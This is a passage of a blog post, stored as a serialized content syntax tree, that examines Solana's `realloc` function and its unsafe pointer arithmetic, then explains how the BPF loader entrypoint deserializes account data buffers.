slice\n",{"type":26,"tag":475,"props":13694,"children":13695},{"class":477,"line":735},[13696,13700,13704,13708,13712,13716,13720,13725,13729,13733,13737,13741,13746,13751,13755,13759,13763,13767,13771,13775,13779,13783,13787,13791,13795,13799,13803,13807,13811,13815,13819],{"type":26,"tag":475,"props":13697,"children":13698},{"style":482},[13699],{"type":32,"value":2770},{"type":26,"tag":475,"props":13701,"children":13702},{"style":2375},[13703],{"type":32,"value":13564},{"type":26,"tag":475,"props":13705,"children":13706},{"style":714},[13707],{"type":32,"value":2383},{"type":26,"tag":475,"props":13709,"children":13710},{"style":714},[13711],{"type":32,"value":6854},{"type":26,"tag":475,"props":13713,"children":13714},{"style":482},[13715],{"type":32,"value":3430},{"type":26,"tag":475,"props":13717,"children":13718},{"style":714},[13719],{"type":32,"value":9525},{"type":26,"tag":475,"props":13721,"children":13722},{"style":499},[13723],{"type":32,"value":13724},"(((",{"type":26,"tag":475,"props":13726,"children":13727},{"style":482},[13728],{"type":32,"value":13420},{"type":26,"tag":475,"props":13730,"children":13731},{"style":714},[13732],{"type":32,"value":353},{"type":26,"tag":475,"props":13734,"children":13735},{"style":499},[13736],{"type":32,"value":3408},{"type":26,"tag":475,"props":13738,"children":13739},{"style":714},[13740],{"type":32,"value":353},{"type":26,"tag":475,"props":13742,"children":13743},{"style":493},[13744],{"type":32,"value":13745},"as_ptr",{"type":26,"tag":475,"props":13747,"children":13748},{"style":499},[13749],{"type":32,"value":13750},"() ",{"type":26,"tag":475,"props":13752,"children":13753},{"style":482},[13754],{"type":32,"value":8553},{"type":26,"tag":475,"props":13756,"children":13757},{"style":714},[13758],{"type":32,"value":9525},{"type":26,"tag":475,"props":13760,"children":13761},{"style":482},[13762],{"type":32,"value":9363},{"type":26,"tag":475,"props":13764,"children":13765},{"style":505},[13766],{"type":32,"value":5573},{"type":26,"tag":475,"props":13768,"children":13769},{"style":499},[13770],{"type":32,"value":2835},{"type":26,"tag":475,"props":13772,"children":13773},{"style":714},[13774],{"type":32,"value":353},{"type":26,"tag":475,"props":13776,"children":13777},{"style":493},[13778],{"type":32,"value":13608},{"type":26,"tag":475,"props":13780,"children":13781},{"style":499},[13782],{"type":32,"value":626},{"type":26,"tag":475,"props":13784,"children":13785},{"style":903},[13786],{"type":32,"value":3722},{"type":26,"tag":475,"props":13788,"children":13789},{"style":499},[13790],{"type":32,"value":2794},{"type":26,"tag":475,"props":13792,"children":13793},{"style":482},[13794],{"type":32,"value":8553},{"type":26,"tag":475,"props":13796,"children":13797},{"style":505},[13798],{"type":32,"value":5573},{"type":26,"tag":475,"props":13800,"children":13801},{"style":499},[13802],{"type":32,"value":2794},{"type":26,"tag":475,"props":13804,"children":13805},{"style":482},[13806],{"type":32,"value":8553},{"type":26,"tag":475,"props":13808,"children":13809},{"style":714},[13810],{"type":32,"value":9525},{"type":26,"tag":475,"props":13812,"children":13813},{"style":482},[13814],{"type":32,"value":3430},{"type":26,"tag":475,"props":13816,"children":13817},{"style":505},[13818],{"type":32,"value":5573},{"type":26,"tag":475,"props":13820,"children":13821},{"style":499},[13822],{"type":32,"value":3533},{"type":26,"tag":475,"props":13824,"children":13825},{"class":477,"line":744},[13826,13830,13834,13838,13842,13846,13850],{"type":26,"tag":475,"props":13827,"children":13828},{"style":714},[13829],{"type":32,"value":7463},{"type":26,"tag":475,"props":13831,"children":13832},{"style":2375},[13833],{"type":32,"value":13656},{"type":26,"tag":475,"props":13835,"children":13836},{"style":714},[13837],{"type":32,"value":2383},{"type":26,"tag":475,"props":13839,"children":13840},{"style":2375},[13841],{"type":32,"value":13665},{"type":26,"tag":475,"props":13843,"children":13844},{"style":482},[13845],{"type":32,"value":8539},{"type":26,"tag":475,"props":13847,"children":13848},{"style":505},[13849],{"type":32,"value":5573},{"type":26,"tag":475,"props":13851,"children":13852},{"style":499},[13853],{"type":32,"value":2729},{"type":26,"tag":475,"props":13855,"children":13856},{"class":477,"line":753},[13857],{"type":26,"tag":475,"props":13858,"children":13859},{"style":499},[13860],{"type":32,"value":851},{"type":26,"tag":475,"props":13862,"children":13863},{"class":477,"line":761},[13864],{"type":26,"tag":475,"props":13865,"children":13866},{"emptyLinePlaceholder":18},[13867],{"type":32,"value":545},{"type":26,"tag":475,"props":13869,"children":13870},{"class":477,"line":770},[13871],{"type":26,"tag":475,"props":13872,"children":13873},{"style":552},[13874],{"type":32,"value":13875}," // zero-init if requested\n",{"type":26,"tag":475,"props":13877,"children":13878},{"class":477,"line":794},[13879,13883,13888,13893,13897,13902,13906],{"type":26,"tag":475,"props":13880,"children":13881},{"style":586},[13882],{"type":32,"value":11988},{"type":26,"tag":475,"props":13884,"children":13885},{"style":2375},[13886],{"type":32,"value":13887}," zero_init",{"type":26,"tag":475,"props":13889,"children":13890},{"style":714},[13891],{"type":32,"value":13892}," &&",{"type":26,"tag":475,"props":13894,"children":13895},{"style":2375},[13896],{"type":32,"value":13665},{"type":26,"tag":475,"props":13898,"children":13899},{"style":714},[13900],{"type":32,"value":13901}," >",{"type":26,"tag":475,"props":13903,"children":13904},{"style":2375},[13905],{"type":32,"value":13495},{"type":26,"tag":475,"props":13907,"children":13908},{"style":499},[13909],{"type":32,"value":579},{"type":26,"tag":475,"props":13911,"children":13912},{"class":477,"line":831},[13913,13918],{"type":26,"tag":475,"props":13914,"children":13915},{"style":493},[13916],{"type":32,"value":13917}," sol_memset",{"type":26,"tag":475,"props":13919,"children":13920},{"style":499},[13921],{"type":32,"value":3169},{"type":26,"tag":475,"props":13923,"children":13924},{"class":477,"line":845},[13925,13929,13933,13937,13941,13945,13949,13953,13957,13962,13966],{"type":26,"tag":475,"props":13926,"children":13927},{"style":714},[13928],{"type":32,"value":7397},{"type":26,"tag":475,"props":13930,"children":13931},{"style":482},[13932],{"type":32,"value":3430},{"type":26,"tag":475,"props":13934,"children":13935},{"style":482},[13936],{"type":32,"value":13504},{"type":26,"tag":475,"props":13938,"children":13939},{"style":714},[13940],{"type":32,"value":353},{"type":26,"tag":475,"props":13942,"children":13943},{"style":493},[13944],{"type":32,"value":13581},{"type":26,"tag":475,"props":13946,"children":13947},{"style":499},[13948],{"type":32,"value":13586},{"type":26,"tag":475,"props":13950,"children":13951},{"style":714},[13952],{"type":32,"value":2863},{"type":26,"tag":475,"props":13954,"children":13955},{"style":499},[13956],{"type":32,"value":3440},{"type":26,"tag":475,"props":13958,"children":13959},{"style":2375},[13960],{"type":32,"value":13961},"orig_len",{"type":26,"tag":475,"props":13963,"children":13964},{"style":714},[13965],{"type":32,"value":2757},{"type":26,"tag":475,"props":13967,"children":13968},{"style":499},[13969],{"type":32,"value":13970},"],\n",{"type":26,"tag":475,"props":13972,"children":13973},{"class":477,"line":854},[13974,13979],{"type":26,"tag":475,"props":13975,"children":13976},{"style":903},[13977],{"type":32,"value":13978}," 0",{"type":26,"tag":475,"props":13980,"children":13981},{"style":499},[13982],{"type":32,"value":2425},{"type":26,"tag":475,"props":13984,"children":13985},{"class":477,"line":862},[13986,13991,13995,14000,14004,14008],{"type":26,"tag":475,"props":13987,"children":13988},{"style":2375},[13989],{"type":32,"value":13990}," new_len",{"type":26,"tag":475,"props":13992,"children":13993},{"style":714},[13994],{"type":32,"value":353},{"type":26,"tag":475,"props":13996,"children":13997},{"style":493},[13998],{"type":32,"value":13999},"saturating_sub",{"type":26,"tag":475,"props":14001,"children":14002},{"style":499},[14003],{"type":32,"value":626},{"type":26,"tag":475,"props":14005,"children":14006},{"style":2375},[14007],{"type":32,"value":13961},{"type":26,"tag":475,"props":14009,"children":14010},{"style":499},[14011],{"type":32,"value":6450},{"type":26,"tag":475,"props":14013,"children":14014},{"class":477,"line":885},[14015],{"type":26,"tag":475,"props":14016,"children":14017},{"style":499},[14018],{"type":32,"value":7455},{"type":26,"tag":475,"props":14020,"children":14021},{"class":477,"line":913},[14022],{"type":26,"tag":475,"props":14023,"children":14024},{"style":499},[14025],{"type":32,"value":851},{"type":26,"tag":475,"props":14027,"children":14028},{"class":477,"line":926},[14029],{"type":26,"tag":475,"props":14030,"children":14031},{"emptyLinePlaceholder":18},[14032],{"type":32,"value":545},{"type":26,"tag":475,"props":14034,"children":14035},{"class":477,"line":948},[14036,14041],{"type":26,"tag":475,"props":14037,"children":14038},{"style":505},[14039],{"type":32,"value":14040}," Ok",{"type":26,"tag":475,"props":14042,"children":14043},{"style":499},[14044],{"type":32,"value":14045},"(())\n",{"type":26,"tag":475,"props":14047,"children":14048},{"class":477,"line":966},[14049],{"type":26,"tag":475,"props":14050,"children":14051},{"style":499},[14052],{"type":32,"value":3607},{"type":26,"tag":35,"props":14054,"children":14055},{},[14056,14058,14064,14066,14071],{"type":32,"value":14057},"Oh. There's ",{"type":26,"tag":53,"props":14059,"children":14061},{"className":14060},[],[14062],{"type":32,"value":14063},"unsafe",{"type":32,"value":14065},". And no bounds check in sight. ",{"type":26,"tag":2615,"props":14067,"children":14068},{},[14069],{"type":32,"value":14070},"And",{"type":32,"value":14072}," pointer math. That doesn't look promising...",{"type":26,"tag":27,"props":14074,"children":14076},{"id":14075},"breaking-down-realloc",[14077,14079],{"type":32,"value":14078},"Breaking down ",{"type":26,"tag":53,"props":14080,"children":14082},{"className":14081},[],[14083],{"type":32,"value":13345},{"type":26,"tag":35,"props":14085,"children":14086},{},[14087,14089,14094],{"type":32,"value":14088},"Let's pick apart this ",{"type":26,"tag":53,"props":14090,"children":14092},{"className":14091},[],[14093],{"type":32,"value":14063},{"type":32,"value":14095}," block, since there's a lot going on here.",{"type":26,"tag":465,"props":14097,"children":14099},{"className":2685,"code":14098,"language":2684,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[14100],{"type":26,"tag":53,"props":14101,"children":14102},{"__ignoreMap":7},[14103,14111,14198],{"type":26,"tag":475,"props":14104,"children":14105},{"class":477,"line":478},[14106],{"type":26,"tag":475,"props":14107,"children":14108},{"style":552},[14109],{"type":32,"value":14110},"// First set new length in the serialized data\n",{"type":26,"tag":475,"props":14112,"children":14113},{"class":477,"line":516},[14114,14118,14122,14126,14130,14134,14138,14142,14146,14150,14154,14158,14162,14166,14170,14174,14178,14182,14186,14190,14194],{"type":26,"tag":475,"props":14115,"children":14116},{"style":482},[14117],{"type":32,"value":11496},{"type":26,"tag":475,"props":14119,"children":14120},{"style":2375},[14121],{"type":32,"value":13564},{"type":26,"tag":475,"props":14123,"children":14124},{"style":714},[14125],{"type":32,"value":2383},{"type":26,"tag":475,"props":14127,"children":14128},{"style":482},[14129],{"type":32,"value":13504},{"type":26,"tag":475,"props":14131,"children":14132},{"style":714},[14133],{"type":32,"value":353},{"type":26,"tag":475,"props":14135,"children":14136},{"style":493},[14137],{"type":32,"value":13581},{"type":26,"tag":475,"props":14139,"children":14140},{"style":499},[14141],{"type":32,"value":13586},{"type":26,"tag":475,"props":14143,"children":14144},{"style":714},[14145],{"type":32,"value":2840},{"type":26,"tag":475,"props":14147,"children":14148},{"style":493},[14149],{"type":32,"value":13595},{"type":26,"tag":475,"props":14151,"children":14152},{"style":499},[14153],{"type":32,"value":13586},{"type":26,"tag":475,"props":14155,"children":14156},{"style":714},[14157],{"type":32,"value":353},{"type":26,"tag":475,"props":14159,"children":14160},{"style":493},[14161],{"type":32,"value":13608},{"type":26,"tag":475,"props":14163,"children":14164},{"style":499},[14165],{"type":32,"value":626},{"type":26,"tag":475,"props":14167,"children":14168},{"style":714},[14169],{"type":32,"value":4039},{"type":26,"tag":475,"props":14171,"children":14172},{"style":903},[14173],{"type":32,"value":3786},{"type":26,"tag":475,"props":14175,"children":14176},{"style":499},[14177],{"type":32,"value":2794},{"type":26,"tag":475,"props":14179,"children":14180},{"style":482},[14181],{"type":32,"value":8553},{"type":26,"tag":475,"props":14183,"children":14184},{"style":714},[14185],{"type":32,"value":9525},{"type":26,"tag":475,"props":14187,"children":14188},{"style":482},[14189],{"type":32,"value":3430},{"type":26,"tag":475,"props":14191,"children":14192},{"style":505},[14193],{"type":32,"value":5573},{"type":26,"tag":475,"props":14195,"children":14196},{"style":499},[14197],{"type":32,"value":2729},{"type":26,"tag":475,"props":14199,"children":14200},{"class":477,"line":539},[14201,14205,14209,14213,14217,14221,14225],{"type":26,"tag":475,"props":14202,"children":14203},{"style":714},[14204],{"type":32,"value":4282},{"type":26,"tag":475,"props":14206,"children":14207},{"style":2375},[14208],{"type":32,"value":13656},{"type":26,"tag":475,"props":14210,"children":14211},{"style":714},[14212],{"type":32,"value":2383},{"type":26,"tag":475,"props":14214,"children":14215},{"style":2375},[14216],{"type":32,"value":13665},{"type":26,"tag":475,"props":14218,"children":14219},{"style":482},[14220],{"type":32,"value":8539},{"type":26,"tag":475,"props":14222,"children":14223},{"style":505},[14224],{"type":32,"value":5573},{"type":26,"tag":475,"props":14226,"children":14227},{"style":499},[14228],{"type":32,"value":2729},{"type":26,"tag":35,"props":14230,"children":14231},{},[14232,14237],{"type":26,"tag":53,"props":14233,"children":14235},{"className":14234},[],[14236],{"type":32,"value":13581},{"type":32,"value":14238}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":26,"tag":41,"props":14240,"children":14242},{"id":14241},"bpf-loader-abi",[14243],{"type":32,"value":14244},"BPF Loader ABI",{"type":26,"tag":35,"props":14246,"children":14247},{},[14248,14250,14255,14257,14270],{"type":32,"value":14249},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":26,"tag":53,"props":14251,"children":14253},{"className":14252},[],[14254],{"type":32,"value":13360},{"type":32,"value":14256},"'s entrypoint code - the code that's added when you use the ",{"type":26,"tag":116,"props":14258,"children":14261},{"href":14259,"rel":14260},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[120],[14262,14268],{"type":26,"tag":53,"props":14263,"children":14265},{"className":14264},[],[14266],{"type":32,"value":14267},"entrypoint!",{"type":32,"value":14269}," macro",{"type":32,"value":179},{"type":26,"tag":465,"props":14272,"children":14274},{"className":2685,"code":14273,"language":2684,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[14275],{"type":26,"tag":53,"props":14276,"children":14277},{"__ignoreMap":7},[14278,14286,14358,14401,14453,14511,14553,14596,14603],{"type":26,"tag":475,"props":14279,"children":14280},{"class":477,"line":478},[14281],{"type":26,"tag":475,"props":14282,"children":14283},{"style":499},[14284],{"type":32,"value":14285},"#[no_mangle]\n",{"type":26,"tag":475,"props":14287,"children":14288},{"class":477,"line":516},[14289,14293,14298,14303,14308,14312,14317,14321,14325,14329,14333,14337,14342,14346,14350,14354],{"type":26,"tag":475,"props":14290,"children":14291},{"style":482},[14292],{"type":32,"value":13397},{"type":26,"tag":475,"props":14294,"children":14295},{"style":482},[14296],{"type":32,"value":14297}," unsafe",{"type":26,"tag":475,"props":14299,"children":14300},{"style":482},[14301],{"type":32,"value":14302}," extern",{"type":26,"tag":475,"props":14304,"children":14305},{"style":629},[14306],{"type":32,"value":14307}," \"C\"",{"type":26,"tag":475,"props":14309,"children":14310},{"style":482},[14311],{"type":32,"value":13402},{"type":26,"tag":475,"props":14313,"children":14314},{"style":493},[14315],{"type":32,"value":14316}," entrypoint",{"type":26,"tag":475,"props":14318,"children":14319},{"style":499},[14320],{"type":32,"value":626},{"type":26,"tag":475,"props":14322,"children":14323},{"style":2375},[14324],{"type":32,"value":8078},{"type":26,"tag":475,"props":14326,"children":14327},{"style":714},[14328],{"type":32,"value":179},{"type":26,"tag":475,"props":14330,"children":14331},{"style":714},[14332],{"type":32,"value":9525},{"type":26,"tag":475,"props":14334,"children":14335},{"style":482},[14336],{"type":32,"value":3430},{"type":26,"tag":475,"props":14338,"children":14339},{"style":505},[14340],{"type":32,"value":14341}," u8",{"type":26,"tag":475,"props":14343,"children":14344},{"style":499},[14345],{"type":32,"value":2794},{"type":26,"tag":475,"props":14347,"children":14348},{"style":714},[14349],{"type":32,"value":13464},{"type":26,"tag":475,"props":14351,"children":14352},{"style":505},[14353],{"type":32,"value":5573},{"type":26,"tag":475,"props":14355,"children":14356},{"style":499},[14357],{"type":32,"value":579},{"type":26,"tag":475,"props":14359,"children":14360},{"class":477,"line":539},[14361,14365,14369,14374,14378,14383,14387,14392,14396],{"type":26,"tag":475,"props":14362,"children":14363},{"style":482},[14364],{"type":32,"value":2705},{"type":26,"tag":475,"props":14366,"children":14367},{"style":499},[14368],{"type":32,"value":2775},{"type":26,"tag":475,"props":14370,"children":14371},{"style":2375},[14372],{"type":32,"value":14373},"program_id",{"type":26,"tag":475,"props":14375,"children":14376},{"style":499},[14377],{"type":32,"value":637},{"type":26,"tag":475,"props":14379,"children":14380},{"style":2375},[14381],{"type":32,"value":14382},"accounts",{"type":26,"tag":475,"props":14384,"children":14385},{"style":499},[14386],{"type":32,"value":637},{"type":26,"tag":475,"props":14388,"children":14389},{"style":2375},[14390],{"type":32,"value":14391},"instruction_data",{"type":26,"tag":475,"props":14393,"children":14394},{"style":499},[14395],{"type":32,"value":2794},{"type":26,"tag":475,"props":14397,"children":14398},{"style":714},[14399],{"type":32,"value":14400},"=\n",{"type":26,"tag":475,"props":14402,"children":14403},{"class":477,"line":548},[14404,14409,14413,14417,14422,14426,14431,14435,14440,14444,14448],{"type":26,"tag":475,"props":14405,"children":14406},{"style":482},[14407],{"type":32,"value":14408}," unsafe",{"type":26,"tag":475,"props":14410,"children":14411},{"style":499},[14412],{"type":32,"value":1101},{"type":26,"tag":475,"props":14414,"children":14415},{"style":714},[14416],{"type":32,"value":9997},{"type":26,"tag":475,"props":14418,"children":14419},{"style":482},[14420],{"type":32,"value":14421},"crate",{"type":26,"tag":475,"props":14423,"children":14424},{"style":714},[14425],{"type":32,"value":3187},{"type":26,"tag":475,"props":14427,"children":14428},{"style":499},[14429],{"type":32,"value":14430},"entrypoint",{"type":26,"tag":475,"props":14432,"children":14433},{"style":714},[14434],{"type":32,"value":3187},{"type":26,"tag":475,"props":14436,"children":14437},{"style":493},[14438],{"type":32,"value":14439},"deserialize",{"type":26,"tag":475,"props":14441,"children":14442},{"style":499},[14443],{"type":32,"value":626},{"type":26,"tag":475,"props":14445,"children":14446},{"style":2375},[14447],{"type":32,"value":8078},{"type":26,"tag":475,"props":14449,"children":14450},{"style":499},[14451],{"type":32,"value":14452},") };\n",{"type":26,"tag":475,"props":14454,"children":14455},{"class":477,"line":558},[14456,14461,14466,14471,14475,14479,14483,14487,14491,14495,14499,14503,14507],{"type":26,"tag":475,"props":14457,"children":14458},{"style":586},[14459],{"type":32,"value":14460}," match",{"type":26,"tag":475,"props":14462,"children":14463},{"style":714},[14464],{"type":32,"value":14465}," $",{"type":26,"tag":475,"props":14467,"children":14468},{"style":2375},[14469],{"type":32,"value":14470},"process_instruction",{"type":26,"tag":475,"props":14472,"children":14473},{"style":499},[14474],{"type":32,"value":626},{"type":26,"tag":475,"props":14476,"children":14477},{"style":714},[14478],{"type":32,"value":2816},{"type":26,"tag":475,"props":14480,"children":14481},{"style":2375},[14482],{"type":32,"value":14373},{"type":26,"tag":475,"props":14484,"children":14485},{"style":499},[14486],{"type":32,"value":637},{"type":26,"tag":475,"props":14488,"children":14489},{"style":714},[14490],{"type":32,"value":2816},{"type":26,"tag":475,"props":14492,"children":14493},{"style":2375},[14494],{"type":32,"value":14382},{"type":26,"tag":475,"props":14496,"children":14497},{"style":499},[14498],{"type":32,"value":637},{"type":26,"tag":475,"props":14500,"children":14501},{"style":714},[14502],{"type":32,"value":2816},{"type":26,"tag":475,"props":14504,"children":14505},{"style":2375},[14506],{"type":32,"value":14391},{"type":26,"tag":475,"props":14508,"children":14509},{"style":499},[14510],{"type":32,"value":676},{"type":26,"tag":475,"props":14512,"children":14513},{"class":477,"line":582},[14514,14519,14524,14528,14532,14536,14540,14544,14548],{"type":26,"tag":475,"props":14515,"children":14516},{"style":505},[14517],{"type":32,"value":14518}," Ok",{"type":26,"tag":475,"props":14520,"children":14521},{"style":499},[14522],{"type":32,"value":14523},"(()) ",{"type":26,"tag":475,"props":14525,"children":14526},{"style":714},[14527],{"type":32,"value":2360},{"type":26,"tag":475,"props":14529,"children":14530},{"style":714},[14531],{"type":32,"value":14465},{"type":26,"tag":475,"props":14533,"children":14534},{"style":482},[14535],{"type":32,"value":14421},{"type":26,"tag":475,"props":14537,"children":14538},{"style":714},[14539],{"type":32,"value":3187},{"type":26,"tag":475,"props":14541,"children":14542},{"style":499},[14543],{"type":32,"value":14430},{"type":26,"tag":475,"props":14545,"children":14546},{"style":714},[14547],{"type":32,"value":3187},{"type":26,"tag":475,"props":14549,"children":14550},{"style":499},[14551],{"type":32,"value":14552},"SUCCESS,\n",{"type":26,"tag":475,"props":14554,"children":14555},{"class":477,"line":596},[14556,14561,14565,14570,14574,14578,14583,14587,14592],{"type":26,"tag":475,"props":14557,"children":14558},{"style":505},[14559],{"type":32,"value":14560}," Err",{"type":26,"tag":475,"props":14562,"children":14563},{"style":499},[14564],{"type":32,"value":626},{"type":26,"tag":475,"props":14566,"children":14567},{"style":2375},[14568],{"type":32,"value":14569},"error",{"type":26,"tag":475,"props":14571,"children":14572},{"style":499},[14573],{"type":32,"value":2794},{"type":26,"tag":475,"props":14575,"children":14576},{"style":714},[14577],{"type":32,"value":2360},{"type":26,"tag":475,"props":14579,"children":14580},{"style":2375},[14581],{"type":32,"value":14582}," error",{"type":26,"tag":475,"props":14584,"children":14585},{"style":714},[14586],{"type":32,"value":353},{"type":26,"tag":475,"props":14588,"children":14589},{"style":493},[14590],{"type":32,"value":14591},"into",{"type":26,"tag":475,"props":14593,"children":14594},{"style":499},[14595],{"type":32,"value":3197},{"type":26,"tag":475,"props":14597,"children":14598},{"class":477,"line":610},[14599],{"type":26,"tag":475,"props":14600,"children":14601},{"style":499},[14602],{"type":32,"value":851},{"type":26,"tag":475,"props":14604,"children":14605},{"class":477,"line":650},[14606],{"type":26,"tag":475,"props":14607,"children":14608},{"style":499},[14609],{"type":32,"value":3607},{"type":26,"tag":35,"props":14611,"children":14612},{},[14613,14615,14620,14622,14628,14630,14637,14639,14645,14647,14654],{"type":32,"value":14614},"What we see here is the contract's real entrypoint - it takes a ",{"type":26,"tag":53,"props":14616,"children":14618},{"className":14617},[],[14619],{"type":32,"value":3127},{"type":32,"value":14621}," buffer in from the loader, and calls ",{"type":26,"tag":53,"props":14623,"children":14625},{"className":14624},[],[14626],{"type":32,"value":14627},"solana_program::entrypoint::deserialize",{"type":32,"value":14629},", which then ",{"type":26,"tag":116,"props":14631,"children":14634},{"href":14632,"rel":14633},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[120],[14635],{"type":32,"value":14636},"parses out",{"type":32,"value":14638}," all the ",{"type":26,"tag":53,"props":14640,"children":14642},{"className":14641},[],[14643],{"type":32,"value":14644},"AccountInfo",{"type":32,"value":14646},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":26,"tag":116,"props":14648,"children":14651},{"href":14649,"rel":14650},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[120],[14652],{"type":32,"value":14653},"laid out",{"type":32,"value":179},{"type":26,"tag":465,"props":14656,"children":14658},{"className":2685,"code":14657,"language":2684,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[14659],{"type":26,"tag":53,"props":14660,"children":14661},{"__ignoreMap":7},[14662,14679,14759,14792,14799,14847,14892,14900,14924],{"type":26,"tag":475,"props":14663,"children":14664},{"class":477,"line":478},[14665,14670,14674],{"type":26,"tag":475,"props":14666,"children":14667},{"style":499},[14668],{"type":32,"value":14669},"#[allow(clippy",{"type":26,"tag":475,"props":14671,"children":14672},{"style":714},[14673],{"type":32,"value":3187},{"type":26,"tag":475,"props":14675,"children":14676},{"style":499},[14677],{"type":32,"value":14678},"cast_ptr_alignment)]\n",{"type":26,"tag":475,"props":14680,"children":14681},{"class":477,"line":516},[14682,14686,14691,14695,14699,14703,14707,14711,14715,14719,14723,14727,14731,14735,14739,14743,14747,14751,14755],{"type":26,"tag":475,"props":14683,"children":14684},{"style":482},[14685],{"type":32,"value":11496},{"type":26,"tag":475,"props":14687,"children":14688},{"style":2375},[14689],{"type":32,"value":14690}," data_len",{"type":26,"tag":475,"props":14692,"children":14693},{"style":714},[14694],{"type":32,"value":2383},{"type":26,"tag":475,"props":14696,"children":14697},{"style":714},[14698],{"type":32,"value":9525},{"type":26,"tag":475,"props":14700,"children":14701},{"style":499},[14702],{"type":32,"value":626},{"type":26,"tag":475,"props":14704,"children":14705},{"style":2375},[14706],{"type":32,"value":8078},{"type":26,"tag":475,"props":14708,"children":14709},{"style":714},[14710],{"type":32,"value":353},{"type":26,"tag":475,"props":14712,"children":14713},{"style":493},[14714],{"type":32,"value":9346},{"type":26,"tag":475,"props":14716,"children":14717},{"style":499},[14718],{"type":32,"value":626},{"type":26,"tag":475,"props":14720,"children":14721},{"style":2375},[14722],{"type":32,"value":13608},{"type":26,"tag":475,"props":14724,"children":14725},{"style":499},[14726],{"type":32,"value":2794},{"type":26,"tag":475,"props":14728,"children":14729},{"style":482},[14730],{"type":32,"value":8553},{"type":26,"tag":475,"props":14732,"children":14733},{"style":714},[14734],{"type":32,"value":9525},{"type":26,"tag":475,"props":14736,"children":14737},{"style":482},[14738],{"type":32,"value":9363},{"type":26,"tag":475,"props":14740,"children":14741},{"style":505},[14742],{"type":32,"value":5573},{"type":26,"tag":475,"props":14744,"children":14745},{"style":499},[14746],{"type":32,"value":2794},{"type":26,"tag":475,"props":14748,"children":14749},{"style":482},[14750],{"type":32,"value":8553},{"type":26,"tag":475,"props":14752,"children":14753},{"style":505},[14754],{"type":32,"value":13438},{"type":26,"tag":475,"props":14756,"children":14757},{"style":499},[14758],{"type":32,"value":2729},{"type":26,"tag":475,"props":14760,"children":14761},{"class":477,"line":539},[14762,14766,14771,14776,14780,14784,14788],{"type":26,"tag":475,"props":14763,"children":14764},{"style":2375},[14765],{"type":32,"value":13608},{"type":26,"tag":475,"props":14767,"children":14768},{"style":714},[14769],{"type":32,"value":14770}," +=",{"type":26,"tag":475,"props":14772,"children":14773},{"style":493},[14774],{"type":32,"value":14775}," size_of",{"type":26,"tag":475,"props":14777,"children":14778},{"style":714},[14779],{"type":32,"value":3187},{"type":26,"tag":475,"props":14781,"children":14782},{"style":499},[14783],{"type":32,"value":5519},{"type":26,"tag":475,"props":14785,"children":14786},{"style":505},[14787],{"type":32,"value":7753},{"type":26,"tag":475,"props":14789,"children":14790},{"style":499},[14791],{"type":32,"value":8163},{"type":26,"tag":475,"props":14793,"children":14794},{"class":477,"line":548},[14795],{"type":26,"tag":475,"props":14796,"children":14797},{"emptyLinePlaceholder":18},[14798],{"type":32,"value":545},{"type":26,"tag":475,"props":14800,"children":14801},{"class":477,"line":558},[14802,14806,14811,14815,14820,14824,14829,14834,14838,14842],{"type":26,"tag":475,"props":14803,"children":14804},{"style":482},[14805],{"type":32,"value":11496},{"type":26,"tag":475,"props":14807,"children":14808},{"style":2375},[14809],{"type":32,"value":14810}," data",{"type":26,"tag":475,"props":14812,"children":14813},{"style":714},[14814],{"type":32,"value":2383},{"type":26,"tag":475,"props":14816,"children":14817},{"style":505},[14818],{"type":32,"value":14819}," Rc",{"type":26,"tag":475,"props":14821,"children":14822},{"style":714},[14823],{"type":32,"value":3187},{"type":26,"tag":475,"props":14825,"children":14826},{"style":493},[14827],{"type":32,"value":14828},"new",{"type":26,"tag":475,"props":14830,"children":14831},{"style":499},[14832],{"type":32,"value":14833},"(RefCell",{"type":26,"tag":475,"props":14835,"children":14836},{"style":714},[14837],{"type":32,"value":3187},{"type":26,"tag":475,"props":14839,"children":14840},{"style":493},[14841],{"type":32,"value":14828},{"type":26,"tag":475,"props":14843,"children":14844},{"style":499},[14845],{"type":32,"value":14846},"({\n",{"type":26,"tag":475,"props":14848,"children":14849},{"class":477,"line":582},[14850,14855,14859,14863,14867,14871,14875,14879,14884,14888],{"type":26,"tag":475,"props":14851,"children":14852},{"style":493},[14853],{"type":32,"value":14854}," from_raw_parts_mut",{"type":26,"tag":475,"props":14856,"children":14857},{"style":499},[14858],{"type":32,"value":626},{"type":26,"tag":475,"props":14860,"children":14861},{"style":2375},[14862],{"type":32,"value":8078},{"type":26,"tag":475,"props":14864,"children":14865},{"style":714},[14866],{"type":32,"value":353},{"type":26,"tag":475,"props":14868,"children":14869},{"style":493},[14870],{"type":32,"value":9346},{"type":26,"tag":475,"props":14872,"children":14873},{"style":499},[14874],{"type":32,"value":626},{"type":26,"tag":475,"props":14876,"children":14877},{"style":2375},[14878],{"type":32,"value":13608},{"type":26,"tag":475,"props":14880,"children":14881},{"style":499},[14882],{"type":32,"value":14883},"), 